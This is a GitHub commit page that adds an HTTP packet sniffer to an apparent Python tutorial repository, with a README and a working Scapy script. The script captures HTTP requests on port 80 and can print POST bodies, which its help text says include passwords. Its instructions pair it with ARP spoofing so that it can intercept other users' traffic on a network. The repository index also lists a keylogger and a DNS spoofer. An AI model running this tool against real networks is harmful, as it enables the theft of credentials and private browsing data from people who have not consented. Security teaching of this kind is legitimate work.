Skip to content

Commit a9f0395

Browse files
committed
added http sniffer tutorial
1 parent b181ac4 commit a9f0395

File tree

4 files changed

+72
-0
lines changed

4 files changed

+72
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
1212
- [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker))
1313
- [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner))
1414
- [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))
15+
- [How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-packets-scapy-python). ([code](scapy/http-sniffer))
1516
- [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
1617
- [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
1718

scapy/http-sniffer/README.md

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# [How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-requests-scapy-python)
2+
to run this:
3+
- `pip3 install -r requirements.txt`
4+
- If you want to sniff locally ( in your PC ), you can directly run:
5+
```
6+
python http_sniffer.py --show-raw
7+
```
8+
If you want to sniff http packets in the network, you gonna need to be man-in-the-middle using ARP spoofing, then you run this script.
9+
10+
You can find arp spoofer and how to use it in [here](../arp-spoofer/)

scapy/http-sniffer/http_sniffer.py

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from scapy.all import *
2+
from scapy.layers.http import HTTPRequest # import HTTP packet
3+
from colorama import init, Fore
4+
5+
# initialize colorama
6+
init()
7+
8+
# define colors
9+
GREEN = Fore.GREEN
10+
RED = Fore.RED
11+
RESET = Fore.RESET
12+
13+
14+
def sniff_packets(iface=None):
15+
"""
16+
Sniff 80 port packets with `iface`, if None (default), then the
17+
scapy's default interface is used
18+
"""
19+
if iface:
20+
# port 80 for http (generally)
21+
# `process_packet` is the callback
22+
sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
23+
else:
24+
# sniff with default interface
25+
sniff(filter="port 80", prn=process_packet, store=False)
26+
27+
28+
def process_packet(packet):
29+
"""
30+
This function is executed whenever a packet is sniffed
31+
"""
32+
if packet.haslayer(HTTPRequest):
33+
# if this packet is an HTTP Request
34+
# get the requested URL
35+
url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
36+
# get the requester's IP Address
37+
ip = packet[IP].src
38+
# get the request method
39+
method = packet[HTTPRequest].Method.decode()
40+
print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
41+
if show_raw and packet.haslayer(Raw) and method == "POST":
42+
# if show_raw flag is enabled, has raw data, and the requested method is "POST"
43+
# then show raw
44+
print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")
45+
46+
47+
if __name__ == "__main__":
48+
import argparse
49+
parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
50+
+ "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
51+
parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
52+
parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
53+
54+
# parse arguments
55+
args = parser.parse_args()
56+
iface = args.iface
57+
show_raw = args.show_raw
58+
59+
sniff_packets(iface)

scapy/http-sniffer/requirements.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
scapy
2+
colorama

0 commit comments

Comments
 (0)